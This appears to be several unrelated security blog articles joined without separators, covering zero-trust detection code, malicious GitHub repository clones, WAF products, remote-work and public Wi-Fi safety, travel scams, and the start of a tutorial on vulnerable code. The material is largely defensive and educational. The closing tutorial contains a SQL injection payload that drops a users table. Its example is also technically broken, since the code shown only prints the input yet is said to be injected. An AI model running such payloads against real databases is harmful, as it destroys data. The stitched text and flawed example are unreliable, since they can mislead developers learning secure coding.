    if (suspiciousPatterns.length > 0) {
      await this.escalateSuspiciousActivity(userId, suspiciousPatterns);
    }

    return {
      suspicious: suspiciousPatterns.length > 0,
      patterns: suspiciousPatterns,
      riskScore: this.calculateSuspiciousActivityRisk(suspiciousPatterns)
    };
  }

  initializeDetectionRules() {
    return [
      {
        name: 'brute_force_detection',
        condition: (events) => {
          const failedAttempts = events.filter(e =>
            e.result === 'failure' &&
            Date.now() - new Date(e.timestamp).getTime() < 300000 // 5 minutes
          );
          return failedAttempts.length >= 5;
        },
        severity: 'high',
        action: 'temporary_lockout'
      },
      {
        name: 'credential_stuffing',
        condition: (events) => {
          const recentFailures = events.filter(e =>
            e.result === 'failure' &&
            Date.now() - new Date(e.timestamp).getTime() < 3600000 // 1 hour
          );
          const uniqueUsernames = new Set(recentFailures.map(e => e.username));
          return uniqueUsernames.size >= 10;
        },
        severity: 'medium',
        action: 'rate_limiting'
      },
      {
        name: 'suspicious_location_pattern',
        condition: (events) => {
          const locations = events.map(e => e.location?.country).filter(Boolean);
          const uniqueCountries = new Set(locations);
          return uniqueCountries.size >= 3 && events.length >= 5;
        },
        severity: 'medium',
        action: 'enhanced_verification'
      }
    ];
  }

  async detectAnomalies(userId, events, context) {
    const features = this.extractFeatures(events, context);
    const anomalyScore = await this.mlModel.predict(features);

    if (anomalyScore > 0.7) {
      return [{
        type: 'ml_anomaly',
        score: anomalyScore,
        features: features,
        description: 'Machine learning model detected anomalous behavior pattern'
      }];
    }

    return [];
  }
}

This class applies multiple techniques to detect threats. It first evaluates authentication history using static rules for brute-force attempts, large-scale credential reuse, or location anomalies. It then passes behavioral data through a trained ML model to spot subtle patterns missed by rules. If any suspicious pattern is detected, it returns a structured risk report and initiates escalation.

Automating Threat Response

Most times, systems respond in real-time. Automated threat response follows predefined actions and includes locking an account, alerting users, or blocking an IP, among others, when a high-risk event occurs.

// Automated threat response system
class AutomatedThreatResponse {
  constructor() {
    this.responsePlaybooks = this.initializeResponsePlaybooks();
    this.escalationPolicies = this.loadEscalationPolicies();
  }

  async processSecurityEvent(event) {
    const threatLevel = this.assessThreatLevel(event);
    const applicablePlaybooks = this.selectPlaybooks(event, threatLevel);

    const responses = [];
    for (const playbook of applicablePlaybooks) {
      const response = await this.executePlaybook(playbook, event);
      responses.push(response);
    }

    if (threatLevel === 'critical' || responses.some(r => !r.success)) {
      await this.escalateToHuman(event, responses);
    }

    return {
      event,
      threatLevel,
      responses,
      timestamp: new Date()
    };
  }

  initializeResponsePlaybooks() {
    return [
      {
        name: 'brute_force_response',
        triggers: ['brute_force_detected'],
        actions: [
          { type: 'temporary_lockout', duration: 900 },
          { type: 'rate_limiting', factor: 10 },
          { type: 'notify_user', method: 'email' },
          { type: 'log_security_event', level: 'high' }
        ]
      },
      {
        name: 'account_takeover_response',
        triggers: ['impossible_travel', 'behavior_anomaly_high'],
        actions: [
          { type: 'terminate_all_sessions' },
          { type: 'require_password_reset' },
          { type: 'notify_user', method: 'multiple' },
          { type: 'freeze_account', duration: 7200 }
        ]
      }
    ];
  }

  async executePlaybook(playbook, event) {
    const execution = {
      playbookName: playbook.name,
      eventId: event.id,
      actions: [],
      success: true
    };

    for (const action of playbook.actions) {
      try {
        const result = await this.executeAction(action, event);
        execution.actions.push(result);
        if (!result.success) {
          execution.success = false;
          break;
        }
      } catch (err) {
        execution.success = false;
        execution.error = err.message;
      }
    }

    return execution;
  }

  async executeAction(action, event) {
    switch (action.type) {
      case 'temporary_lockout':
        await this.lockoutUser(event.userId, action.duration);
        return { success: true, type: action.type };
      case 'notify_user':
        await this.notifyUser(event.userId, action.method, event);
        return { success: true, type: action.type };
      default:
        return { success: false, type: action.type, error: 'Unknown action' };
    }
  }
}

Here, the system uses playbooks – predefined actions to be taken in response to threats. For example, locks user from further brute-force attempts for some time and sends them an email notification. Freezing the account and ending all sessions are some reactive measures you can take if suspicious behavior indicates a takeover. These measures ensure fast and consistent action to mitigate damage even before humans can get involved.

Conclusion

Zero-trust authentication creates a strong line of distinction going against classic perimeter-based security. It must be painstakingly planned, implemented in layers, and constantly improved. This article offers a structured path, from basic MFA to intelligent behavioral monitoring and automated threat response.

Complementing the improvement of security, zero-trust promises better user experience, compliance readiness, and decreased incident risk. When organizations maintain a perpetual position of zero trust, we can see an actual positive impact on their ability to detect, prevent, and respond to threats in real time.

To have long-term success with this approach, you’ll need to continuously monitor your setup, perform periodic assessments, and be responsive to evolving attack patterns. Feedback loops and performance data are essential to keep the system secure yet user-friendly.

As threats grow more sophisticated, so must our defenses. ZTA provides a durable foundation – ready to evolve with emerging technologies like adaptive biometrics and AI-driven risk engines. Organizations investing in it today will be better equipped to meet tomorrow’s security and usability demands.

If you haven’t heard about what’s going on:

GitHub is struggling to contain an ongoing attack that’s flooding the site with with millions of code repositories. These repositories contain obfuscated malware that steals passwords and cryptocurrency from developer devices. … The result is millions of forks with names identical to the original one.

– Dan Goodin, Ars technica

Because search engines and GitHub’s own search rankings favor recent activity, these cloned repositories often float to the top – then they lure unsuspecting developers into pulling code that may contain malware.

One of my repositories has been targeted by such an attack, prompting me to monitor it closely. This guide offers tips to spot malicious repository clones before they catch you off guard.

Table of Contents

1. What is a Repository Confusion Attack?

   • Supply Chain Attacks

2. 🛡️ Basic Mitigation Strategies

   • Verify the contributors profiles

   • Search for clone repositories

   • Examine the commit pattern

   • Examine the commit history

   • Examine the commit contents

   • Compare the concerned files

   • Some information about the malware

3. Action Time

4. Conclusion

5. More Resources

What is a Repository Confusion Attack?

A repository confusion attack involves:

• Cloning legitimate repositories.

• Injecting malicious code into the clone.

• Uploading the clone.

• Spreading through various unaware actors.

Supply Chain Attacks

If you search for repository confusion on the internet, you'll find out it's a type of supply chain attack.

A supply chain attack is an indirect threat where hackers try infiltrating a system by targeting a trusted third-party or software component, rather than attacking the primary target directly.

It's not the first time this has happened. Before GitHub was targeted, PyPI was attacked in 2023 with fake packages posing as legitimate. These packages lured negligent pip users into downloading malicious payloads (containing in most cases infostealer malware).

🛡️ Basic Mitigation Strategies

Before using any repository, make sure you follow these steps and take these precautions.

Verify the contributors profiles

That's a first check: if you see a rather empty GitHub profile – one without reputation that contains just one repository but with a lot of daily commits to it – well, that's a bit suspicious.

In the fake repository, the original author will be listed as a contributor, too. Check that profile. You should be able to find the legitimate repository and do some comparisons.

In the above screenshot you can see solotech143, my evil doppelgänger (he’s been taken down since).

Search for clone repositories

You can do a GitHub search by repository name and sort the results by most recent first. Malicious repositories tend to appear at the top of the search results because they are updated more frequently. The original repository might be hidden deeper in the search results.

It’s like clone wars.

This is where it’s dangerous: users generally click on the first few search results, and in that type of attack, you’re almost guaranteed to see the attacker’s fake repository at the top of the results. The attacker achieves that by giving the fake repository regular fresh commits (and sometimes even a few stars!).

In my case, the original repository is a submission for the HackaViz 2025 competition. Hackathons offer a good attack surface because, beyond the fact they draw niche communities, they are also time sensitive.

Now, let’s move forward a year and imagine Hackaviz 2026 is starting soon. The attacker has easily outranked the untouched original submission. Which repository is most likely to be visited when future competitors – unaware of the scam – will look for the previous submissions?

Examine the commit pattern

Here’s when things take a weird turn. Malicious clones are run by automated agents, so the commit history fits a pattern that is rather unusual for a human. Of course, you can automate for many legitimate reasons but… this will always follow a clear goal and there will always be a human-touch at some point. In this case, commits are not adding up.

Let's see how that looks in the screenshots below:

Regular like a clock...

... and hyperactive!

Examine the commit history

You can’t! And that's the weird part. You're just able to see the last and the initial commit. So why is it hiding all of them? Do you like it when someone hide things from you?

For July 10th, we should be able to see 11 commits, where are the ten others?

Well, you can only check the first and last commit. That is not a lot for a repository that has more than 2000 commits registered.

Examine the commit contents

Well, since I can always check the last commit, I checked some of them. They share the same pattern: the bot is constantly looping over the README file doing the same modifications. As you can see in the screenshot below, it’s updating the file with links to an infected release.

Above you can see an AI agent stuck in the Readme loop of change.

Human edits are more varied. In a human-driven project, you will see a large mix of commits: feature commits, exploratory experiments, bug fixes, styling tweaks, and sometimes reverts. A bot clone will often just overwrite files, bump versions, or re-inject the same malicious payload repeatedly with no real contribution to the codebase.

Compare the concerned files

This is where common sense comes handy. So, you have two README's:

1. The first consists of AI-generated content that is cluttered with emojis and low-value information. It is designed solely to entice you into clicking the download link of the release.

2. The other follows best practices for creating a good README file. It is accurate and well-structured and functions as a valuable helper and explainer to the code. It also goes deep into the most important aspects of the project. This is usually a good sign that a repository is organic and genuine.

Some information about the malware

What do we have so far? Well, a suspicious link in a phishy, AI-generated README file that is consistent with a very suspicious pattern in the commit history.

Now, let’s have a closer look at that dubious release and let’s see what an online antivirus scanner might reveal about it.

The malware is packed only in the miniature-fortnight-v1.7.6.zip release.

Above you can see the result of a scan with an online scanner.

The .zip file contains only four files:

• config.txt

• launch.bat

• lua51.dll

• luajit.exe

These files are totally unrelated to the source project (a Python data science project with Jupyter notebooks combined to a React app using three.js).

I will not go into the detail in this article. But for the curious ones, it's an infostealer malware (a malware that will exfiltrate your credentials and other precious information about your configuration) similar to the one described in detail here.

Action Time

If you discover a potentially malicious repository, here are some steps you can take:

1. Document some evidence.

2. Notify the original repository maintainers.

3. Report the malicious clone to GitHub.

Reporting a repository or a profile on GitHub is easy and fast. Go to the user’s profile page, click “Block or report” in the left sidebar and choose “Report abuse” in the pop-up. You will have to complete a short contact form with some details about the behavior before submitting. If needed, you can find more information on GitHub.

Conclusion

This is a description of just one attack, from the perspective of someone who found out that one of his repository had been targeted. There are likely cases of more sophisticated attacks. But the clone repository flood we can see on GitHuB is definitely massive low quality automation. Quantity over quality.
To be honest, I'm quite surprised algorithms crafted at GitHub didn't manage to spot this one.

This also raises questions related to AI.

• What happens when LLMs are trained on malicious content? That’s a more general question about AI poisoning.

• A human might easily spot the patterns and the low quality content for now. But..

  • Imagine you are using coding agents, many of them. Will the agents pick-up the malicious clone instead of the original one? How to distinguish the repositories from an automaton's perspective?

  • The attackers will refine their tactics, making the clones more human-like and therefore luring us more easily into their traps.

• This is really a situation that makes me wonder about the early days of Google. Back then, the company had to fight huge amounts of spam due to keyword stuffing and manipulative SEO tactics. Will big tech companies have to go through a Florida update moment to face the rise of AI generated spam ?

More Resources

• A detailed description of the attack

• Complete safety recommendations

Stay Informed, Stay Secure!

A cheat-sheet is also available on my GitHub. Feel free to contribute to it!

Think of it like a bouncer at the door of your site, checking every visitor to make sure they’re not trying anything shady before letting them through.

While regular firewalls protect your network, a WAF specifically filters traffic that targets your app. It looks for dangerous requests – like someone trying to inject bad code (SQL injection), trick your browser (XSS), or flood your server with fake users (bots). A good WAF stops these threats in real-time, long before they can cause damage.

Now, there are plenty of WAFs out there. Some are cloud-based and easy to plug in. Others give you more control and run on your own servers.

Let’s look at five great options, each offering different strengths depending on what you need.

Cloudflare WAF

Cloudflare has become almost a default for many small to mid-sized websites – and for good reason. Their WAF is fast to deploy and offers solid protection right out of the gate. It’s built into their global content delivery network (CDN), so not only do you get security, but your site loads faster too.

One big plus is that even the free plan gives you some basic protection. You can upgrade for more advanced features, like custom firewall rules, bot mitigation, and protection against zero-day threats (those new exploits that don’t have patches yet).

From e-commerce stores to popular hosting services, Cloudflare makes it really simple. You just point your domain to them, flip a few switches, and you’re protected. There’s not much to configure unless you want to get deep into the rules.

The only downside? If you need very specific filtering or want total control over how things are blocked, you might find it limiting without moving to their higher-tier plans.

Imperva WAF

If Cloudflare is your plug-and-play option, Imperva is the full-blown enterprise solution.

This WAF is made for organizations that need more than just basic protection. It’s not just looking at requests and saying yes or no – it’s analyzing traffic patterns, understanding what’s normal, and alerting you when something looks off.

Imperva also helps with compliance. So if you’re in a regulated industry like finance, healthcare, or government, it can help you meet data protection rules and audit requirements.

You can use it in the cloud or install it on your own hardware, which is great if your company needs to keep things on-site.

Just know that it’s not as beginner-friendly as Cloudflare. There’s a learning curve, and pricing can get high depending on the features you use.

But if you’re running mission-critical web apps and need deep visibility into traffic and threats, Imperva is a strong contender.

SafeLine WAF

Now let’s talk about something different – SafeLine. Unlike the big-name cloud platforms, SafeLine is a self-hosted WAF. That means you run it yourself, right alongside your web server.

Built on NGINX, one of the fastest and most popular web servers out there, SafeLine is designed to be lightweight but powerful. It has over 300,000 installations and more than 16,000 stars on GitHub. That’s a pretty big community for a security tool.

What makes it special is how it analyzes web traffic. SafeLine uses something called semantic detection. Instead of just looking for known attack signatures, it tries to understand what each request is trying to do.

That helps it block more threats and reduce false alarms. It can detect things like SQL injection, cross-site scripting, directory traversal, and even bad bots.

It also adds cool tricks like rate limiting, identify authentication, challenge pages for suspicious users, and even dynamic encryption of your site’s HTML and JavaScript to confuse attackers.

Of course, because it’s self-hosted, it’s not for everyone. You need to install it, configure it, and keep it updated yourself. But if you’re comfortable working with Linux or you want full control over your WAF, SafeLine is a fantastic choice – especially since it provides a free edition for personal use.

Fortinet FortiWeb

Fortinet is a name that’s been around in network security for a long time. Their WAF, FortiWeb, brings that enterprise-level muscle to web apps.

It combines traditional filtering with machine learning to spot weird behavior. So if someone starts sending strange requests your site’s never seen before, FortiWeb can recognize it and shut it down.

What sets FortiWeb apart is its deep integration with the rest of the Fortinet ecosystem. If you’re already using FortiGate firewalls or FortiAnalyzer tools, adding FortiWeb is a natural next step. Everything works together, giving you a full picture of your network and web security.

It’s powerful, but it’s also complex. Setting it up and maintaining it takes time and expertise. And like Imperva, this is a tool that shines in large organizations with experienced security teams.

If that’s your environment – and you want high-end features like API discovery, anomaly detection, and DDoS protection – it’s worth a close look.

F5 Advanced WAF

Last on our list is F5’s Advanced WAF. This one’s also built for big players.

It’s part of the larger F5 BIG-IP platform, which handles traffic management, load balancing, and more. If you already use BIG-IP, adding the WAF module gives you strong security without needing extra infrastructure.

F5’s WAF offers advanced protection against bots, APIs, and credential stuffing (where attackers try to log in with stolen passwords). One unique feature is its partnership with Shape Security, which gives it extra tools to identify fake users and bot traffic.

You can deploy F5’s WAF in your data center, in the cloud, or at the edge. That flexibility makes it attractive for companies running complex, multi-cloud applications.

But like the other enterprise options here, F5 comes with complexity and cost. If you’re running a big operation and need fine-grained control and integration, it’s a solid choice.

Which One Should You Choose?

There’s no single best WAF for everyone. What works for a solo developer running a WordPress blog might not cut it for a multinational bank. So the best choice comes down to what matters most to you.

• If you want something fast and simple, with a free tier and global speed boosts, Cloudflare is hard to beat.

• If your team needs compliance support, traffic analytics, and strong API protection, Imperva fits the bill.

• For developers who like to build and tinker, SafeLine offers impressive protection and full control – without breaking the bank.

• And for enterprises with existing Fortinet or F5 setups, it makes sense to stay in those ecosystems for seamless integration and the highest level of customization.

Summary

No matter what you choose, the important part is having a WAF in place. It’s one of the best defenses against the constant stream of attacks targeting websites today. Whether it’s blocking a SQL injection, filtering out bad bots, or just keeping your error logs clean, a good WAF keeps your site running smoothly and safely.

Hope you enjoyed this article. You can learn more about me or connect with me on LinkedIn.

Hackers know that people often use weak passwords, forget to update software, or click on the wrong link in a moment of distraction. That’s why remote teams need a security plan built for how they work.

In this article, we’ll explore seven ways to keep your remote workforce safe. These steps are simple, doable, and based on real-life habits.

Table of Contents

• Turn On Multi-Factor Authentication (MFA)

• Keep Software and Devices Updated

• Lock Down Home Wi-Fi Networks

• Teach Your Workforce How to Spot Phishing

• Use VPNs on Public Wi-Fi

• Use Activity Reporting Tools

• Limit Access to What’s Needed

• Bringing It All Together

Turn On Multi-Factor Authentication (MFA)

Think of MFA as a second lock on your digital front door. Even if someone steals a password, they won’t get far without the second key — like a code sent to your phone or an app confirmation.

Let’s say Maria, a remote designer, uses MFA for her work account. She logs in with her password, and then a code pops up on her phone. Even if a hacker steals her password from a phishing email, they’d still need her phone to get in. Without that, they’re locked out.

Most tools — Google Workspace, Microsoft 365, Slack, Zoom — support MFA. You can usually enable it in the account settings, and once it’s set up, it becomes second nature.

Keep Software and Devices Updated

Updates fix security holes. If your software isn’t up to date, it’s like leaving windows open in a storm. Hackers actively look for devices running older versions of software — they know exactly where the weak spots are.

Encourage your team to enable automatic updates on every device they use. If possible, use remote management tools like Microsoft Intune or Jamf to push updates directly.

For example, if James delays updating his operating system, his laptop might still have a flaw that lets hackers install malware silently. A quick update could close that door for good.

Lock Down Home Wi-Fi Networks

A weak home Wi-Fi password is an open invitation. If a neighbour or a stranger parked outside connects to your Wi-Fi, they might see your traffic, or worse, access your devices.

To secure your home WIFI:

1. Change the default router password. Never leave the admin login as “admin/admin” or similar.

2. Use a strong, unique Wi-Fi password. Aim for at least 12 characters (letters, numbers, symbols).

3. Enable WPA3 (or WPA2 if WPA3 isn’t available). Look in your router’s wireless security settings. If you see “WPA3 Personal,” pick that. If not, pick “WPA2 Personal” (sometimes listed as WPA2-AES).

4. Hide your network name (SSID) if possible. This isn’t foolproof, but it makes you a bit less visible.

WPA2 (Wi-Fi Protected Access 2) is the older standard that uses AES encryption to scramble data. It’s far stronger than the old WPA or WEP systems.

WPA3 (Wi-Fi Protected Access 3) is the newer standard. It adds even stronger encryption and makes it harder for hackers to guess passwords. With WPA3, each device’s data is encrypted separately, and it includes built-in protection against “brute-force” attacks (where someone tries many passwords in rapid succession).

When your router is set to use WPA2 or, ideally, WPA3, it means all devices—laptops, phones, tablets—talk to the router using a secure “language” that’s very hard for outsiders to crack.

You can offer a simple guide that walks them through this in under 10 minutes. If someone isn’t tech-savvy, a quick team call can help them set it up. This one-time step makes a big difference.

Teach Your Workforce How to Spot Phishing

The easiest way into a system isn’t through code — it’s through people. A phishing email can look like a password reset, a message from IT, or even a job update. One click, and malware is in.

For example, Tom, a project manager, gets an email that looks like it’s from Dropbox, asking him to log in to view a file. The login page looks real, but it’s fake. He enters his password, and now the attacker has access.

Here are a few steps to spot phishing:

1. Check the sender’s email address carefully. Does it match the company domain exactly? Watch for small typos (like “micr0soft.com” instead of “microsoft.com”).

2. Hover over links without clicking. If the link text says “company-portal.com” but the URL preview shows “evil-site.com/login,” it’s a red flag.

3. Look for spelling and grammar errors. Official company communications rarely have glaring mistakes. If the message has awkward wording or misspellings, think twice.

4. Be wary of urgent or threatening language. “Your account will be suspended unless you click now” is a common trick. Legitimate organizations usually give you time to verify and don’t demand immediate action.

5. Do not download attachments from unknown senders. If an attachment seems odd (e.g., “Invoice_final.7z” instead of a simple PDF), do not open it.

6. Verify unexpected requests. If someone asks you to share credentials, wire money, or provide sensitive data, call or Slack the person directly to confirm. Don’t rely on the email itself.

7. Watch for generic greetings. “Dear User” or “Hello Employee” instead of your name can indicate a mass-mailed phishing attempt.

Regular training makes people pause before clicking. Use quick, interactive sessions (there are many free ones online) every few months. Encourage your team to report suspicious emails — create a “Better Safe Than Sorry” culture.

Take this quiz to test your phishing defence.

Use VPNs on Public Wi-Fi

Working from coffee shops, airports, or co-working spaces can be risky. Public networks are easy to spy on. A VPN (Virtual Private Network) encrypts internet traffic, so even if someone tries to spy, all they’ll see would be scrambled data.

There are many reliable VPN services to choose from, and some companies even set up their own. Encourage remote workers to use a VPN any time they’re not on a trusted network.

Use Activity Reporting Tools

When people work from different places on different schedules, it’s easy to lose visibility. Activity reporting tools help you see how systems are used without crossing privacy lines.

These tools can show:

• Login times and IP addresses

• File access history

• App usage patterns

Imagine a scenario where Rob’s account logs in from a country he’s never been to. That’s a red flag. With activity monitoring in place, you’d catch it instantly and reset his credentials.

Tools like Teramind, ActivTrak, or even built-in reports from Google or Microsoft accounts can help. Used wisely, they improve productivity by giving insights into how time and tools are used — while also flagging suspicious behavior early.

Limit Access to What’s Needed

The more people who can access sensitive data, the greater the risk. So don’t give everyone full access, “just in case.” Instead, follow the principle of least privilege: give each person just the tools and files they need.

For instance, your marketing intern probably doesn’t need access to your financial reports. And your developer doesn’t need HR records. Role-based access keeps things cleaner and safer.

Tools like Okta, Azure Active Directory, or even folder permissions in Google Drive or Dropbox let you fine-tune who sees what. You can also track access logs to spot strange activity.

Bringing It All Together

Cybersecurity isn’t about locking everything down so tightly that no one can work. It’s about building smart habits and using the right tools so your remote team can work confidently and safely.

Start small. Maybe pick two or three things to focus on this month. Once they become part of your routine, layer in the next ones. With each step, you’re building a safer and more productive work environment — for everyone.

For more articles on cybersecurity, join the Stealth Security newsletter.

But behind that convenience is a world of risk that most people never see coming.

Let’s talk about what really happens when you hop onto an open network. Then we’ll walk through how you can stay safe, even if you can’t resist the free Wi-Fi sign.

Public Wi-Fi is Public for a Reason

When a network doesn’t ask for a password, it’s like leaving your front door wide open. Anyone can walk in. That includes hackers.

When you’re on public Wi-Fi, you share the same digital space with everyone else nearby. You don’t know them  –  and they don’t need your permission to watch what you do online.

A hacker sitting just a few tables away could be using simple tools like Wireshark to “sniff” the network. These tools scan and capture data sent across Wi-Fi.

That means your login info, email content, and browsing history could all be visible.

You might think, “I’m not doing anything important  –  just checking Instagram or reading the news.” But even harmless browsing can open the door.

Many apps and websites automatically log you in. If a hacker catches one of those logins mid-transit, they can use it to get into your account.

How Hackers Trick You on Open Networks

There are a few favourite tricks cybercriminals love on public Wi-Fi. Here’s how they work:

Man-in-the-Middle attacks

Imagine you’re talking to a friend, but someone sits between you two, quietly listening and even changing what gets said. That’s what a man-in-the-middle (MitM) attack is.

The hacker intercepts communication between your device and the website or app you’re using. You think you’re chatting privately, but they’re watching everything.

Fake Hotspots

Have you ever been at an airport, hotel, or café and noticed a Wi-Fi network named something like “Free_Airport_WiFi” or “HotelGuest123”?

It looks official, so you connect without thinking twice. But here’s the catch:  hackers can easily create fake Wi-Fi networks with names that look completely legit. These are known as rogue hotspots.

When you connect to one, all your internet activity runs through the hacker’s system. They can quietly watch everything you do online.

This means they can collect your usernames and passwords as you log in to your accounts, access sensitive files you’re uploading or downloading, and even slip malware onto your device –  all without you knowing.

You think you’re using free, safe internet, but you’re really handing over your data to a cybercriminal.

Session Hijacking

When you log into a website, like your email or social media account, the site usually gives your browser a small file called a session cookie. This cookie is what keeps you signed in so you don’t have to enter your password every time you click something.

But on a public or unsecured Wi-Fi network, someone nearby could intercept that cookie. If a hacker gets hold of it, they can use it to act as if they’re you.

They don’t need your password –  they just use your session cookie to jump straight into your account. It’s like stealing a taxi ride that you’ve already paid for.

The website thinks it’s still you using the account, so the attacker can snoop around freely, and you might never know it’s happening.

This kind of attack is called session hijacking, and it’s one of the reasons public Wi-Fi can be risky without protection.

Simple Habits That Keep You Safer

You don’t have to stop using public Wi-Fi entirely, but you do need to be smart about it.

Here’s how to protect yourself.

Use a VPN

A Virtual Private Network (VPN) is your best defense. It creates a private tunnel between your device and the internet.

Even if someone intercepts your data, it’s encrypted – scrambled so they can’t read it.

Good VPNs are easy to use and work quietly in the background. Just tap it on before you connect to public Wi-Fi, and you’re much safer.

Stick to HTTPS sites

When a website starts with “https”, it means the connection is encrypted. Look for the little padlock icon next to the URL. It’s not perfect, but it helps.

Avoid typing passwords or doing any banking on sites that only use “http”. As always, use a password manager to manage your passwords.

Avoid Logging into Sensitive Accounts

When you’re connected to public Wi-Fi, it’s best to avoid logging into anything sensitive – like your bank account, email, or online shopping sites.

Even though many websites use HTTPS to encrypt your data, public networks can still be risky. Hackers can sometimes intercept or manipulate your connection before the encryption kicks in, or exploit weaknesses in the network itself.

So, it’s safer to wait until you’re on a private, trusted connection before accessing anything important. Protecting your personal and financial information is always worth the extra caution.

Forget the Network Afterwards

After you finish using a public Wi-Fi hotspot, it’s important to tell your device to “forget” that network. If you don’t, your device might automatically reconnect the next time you’re nearby – without you even realizing it.

This automatic connection could allow hackers to set up a fake hotspot with the same name later.

By forgetting the network, you make sure your device won’t connect unless you choose to do so, keeping your data safer from unwanted access.

Turn Off Sharing Features

Features like file sharing, AirDrop, and network discovery on laptops and smartphones make it easy to share files and information with nearby devices. But these settings can be dangerous on a public Wi-Fi network.

Hackers can exploit file sharing or AirDrop to gain access to your device or sneak malware inside.

To stay protected, always turn off these sharing options before connecting to any public network. This simple step helps block attackers from accessing your device through open sharing channels.

Staying Connected Doesn’t Mean Staying Exposed

We all love the convenience of free Wi-Fi. But it’s not really free if it comes at the cost of your privacy – or your identity.

A few smart habits, like using a VPN and avoiding sensitive logins, can go a long way.

You don’t have to be a cybersecurity expert. Just treat public Wi-Fi the way you’d treat a sketchy alley at night: be aware, and don’t walk in blindly.

Stay safe out there.

Learn how to earn money by building a private community – Join Skool.

Tourists are often rushed, distracted, or unfamiliar with local providers. That’s exactly what hackers count on.

From fake Wi-Fi networks to shady SIM card scams, here are five of the most common digital threats you might face while abroad  – and what you can do to protect yourself.

Fake Wi-Fi Networks

You’re at a busy train station or cozy café and spot a Wi-Fi network named something like “Free_Public_WiFi.” You connect without a second thought.

The problem? It might not be real.

Hackers set up rogue hotspots with legit-sounding names to trick travelers into connecting.

Once you’re on, they can monitor your traffic and steal login details, messages, or even credit card numbers. This is called a “man-in-the-middle” attack, and it’s surprisingly easy to pull off in public places.

Here’s how to stay safe:

• Avoid using public Wi-Fi for anything sensitive  – especially online banking or shopping.

• Always disable automatic connections to open networks in your device settings.

• Use a VPN to encrypt your internet traffic. It adds a layer of security that makes it harder for hackers to snoop.

Public Wi-Fi may be convenient, but it comes with serious risks. By being cautious, turning off auto-connect, and using a VPN, you can protect yourself and stay safe while staying connected.

Phony Booking and Visa Websites

Planning your trip online is easy  –  sometimes too easy.

Scammers have become incredibly good at creating fake booking sites that look just like the real thing. You think you’re reserving a hotel room or applying for a visa, but you’re actually handing over your credit card and passport info to a fraudster.

One common trick is to slightly alter a well-known domain, like changing “expedia.com” to “expeida.com.” These sites often offer deals that seem too good to be true. Spoiler alert: they are!

Here’s what to do:

• Always type website addresses directly into your browser instead of clicking on links from emails or ads.

• Stick to well-known platforms or go directly to the airline's or hotel’s official website.

• Look closely at the URL –  check for spelling errors and make sure it begins with “https://”.

• If applying for a visa, find the government’s official site through a trusted search engine or travel advisory page.

These scams aren’t just inconvenient  –  they can cost you hundreds and delay your trip.

SIM Card Swaps and Shady Vendors

In many countries, tourists are encouraged to buy a local SIM card on arrival. You’ll find kiosks right at the airport offering prepaid plans.

But handing over your passport and letting someone else install a SIM? That’s a huge risk.

SIM swapping happens when someone gets access to your SIM credentials, transfers your number to another SIM, and then uses it to receive your two-factor authentication codes. From there, it’s a short hop to your bank accounts or email.

To avoid that risk:

• Don’t buy SIM cards from random kiosks or people on the street, especially if they ask for unnecessary personal info.

• Set a PIN code on your SIM through your phone’s settings to prevent unauthorised access.

• Turn off SMS-based two-factor authentication on important accounts and switch to app-based 2FA like Google Authenticator.

A safer option is to set up an eSIM card for international travel before you leave. It’s much harder for someone to hijack an eSIM than a physical one.

ATM Skimming and Credit Card Cloning

You’re low on cash, spot an ATM, and withdraw some local currency.

What you don’t see is the skimming device attached to the card slot or a tiny hidden camera above the keypad.

Skimmers copy your card’s data and, together with your PIN, can clone your card and drain your account. This isn’t limited to ATMs, either  – some restaurants and shops use portable card readers that store data for later use.

Here’s how to protect yourself:

• Stick to ATMs that are inside banks or monitored locations like hotel lobbies.

• Tug on the card slot gently  –  if anything feels loose or looks off, don’t use it.

• Shield your hand while entering your PIN, even if you’re alone.

• Use a credit card instead of a debit card when possible. Credit cards offer better fraud protection.

And keep a close eye on your accounts while traveling. Set up instant alerts for transactions to catch fraud early.

Phishing Emails and Social Engineering

It starts with a simple message: “We noticed suspicious activity on your Airbnb account. Click here to verify.”

The email looks legit, maybe even uses the company’s logo and styling. But it’s a trap.

Phishing is when scammers pose as trusted brands to trick you into handing over login credentials or personal information. Tourists are easy targets because they’re often in unfamiliar environments and expecting travel updates.

You might also be approached in person. Someone in uniform might ask for your passport “for verification” or claim there’s an issue with your hotel reservation. This kind of manipulation is called social engineering.

To avoid it:

• Double-check email senders. Most companies don’t ask for sensitive information through email or text.

• Don’t click on suspicious links. Go directly to the company’s website or app to check your account.

• Be polite but cautious with people who ask for personal documents. Always verify their identity first.

• Use strong, unique passwords for each account, and enable two-factor authentication through a secure app  – not SMS.

If anything feels off, trust your gut. It’s better to ask questions than to regret it later.

Stay Smart, Stay Safe

Cyber scams can’t ruin your trip if you don’t give them the chance. A little preparation goes a long way. Always use a VPN to hide your internet activity. Stick to secure websites. Avoid public Wi-Fi unless absolutely necessary. Use strong passwords and keep your devices updated.

Travel is meant to be fun, not stressful. With the right tools and a few smart habits, you can explore the world safely  – and stay connected without putting your information at risk.

Hope you enjoyed this article. Join the Stealth Security newsletter for more articles on cybersecurity. To learn the basics of Offensive Cybersecurity, try the Security Starter course.

The truth is, most developers don’t realize their code is vulnerable until something breaks. Or, worse, until someone attacks it. So if you want secure code, you first have to know what bad code looks like.

In this tutorial, we’ll see 10 clear signs that your code might be vulnerable to attacks. And more importantly, how to fix it.

Here’s what we’ll cover:

• 1. Hardcoded Credentials

• 2. No Input Validation

• 3. Poor Error Handling

• 4. Outdated Dependencies

• 5. No Authentication or Weak Authentication

• 6. Missing Authorization Checks

• 7. Exposed Sensitive Data in URLs

• 8. No Rate Limiting

• 9. Unsafe File Uploads

• 10. Missing HTTPS

• Final Thoughts

1. Hardcoded Credentials

This one is everywhere. Maybe you’ve seen it yourself – an API key sitting right there in the code. A database password written in plain text.

It looks like this:

DB_PASSWORD = "supersecret123"
API_KEY = "sk_test_abc123"

If this code leaks (and it will), attackers can do whatever they want. They can log into your systems, steal your data, or run up huge bills on cloud services – all without breaking a sweat.

And here’s the scary part: this kind of leak doesn’t just happen when your whole project gets hacked. It can happen when someone pushes code to GitHub and forgets to add .env to .gitignore. Boom – your secret keys are now public.

How to Protect Against It

Never hardcode sensitive data like API keys, database passwords, or tokens. Instead, use environment variables.

These are hidden from the source code and can be safely managed per environment (dev, test, production). For example, a .env file imported into your codebase:

import os
db_password = os.getenv("DB_PASSWORD")

2. No Input Validation

If you trust user input, you’re already in trouble. Attackers love sending weird stuff, like super long strings, funky characters, or unexpected formats.

Here’s what it looks like:

username = request.GET['username']
print("Hello " + username)

Now someone enters:

username=Robert'); DROP TABLE users; --

Boom. You’ve just been SQL injected. Your database table? Gone.

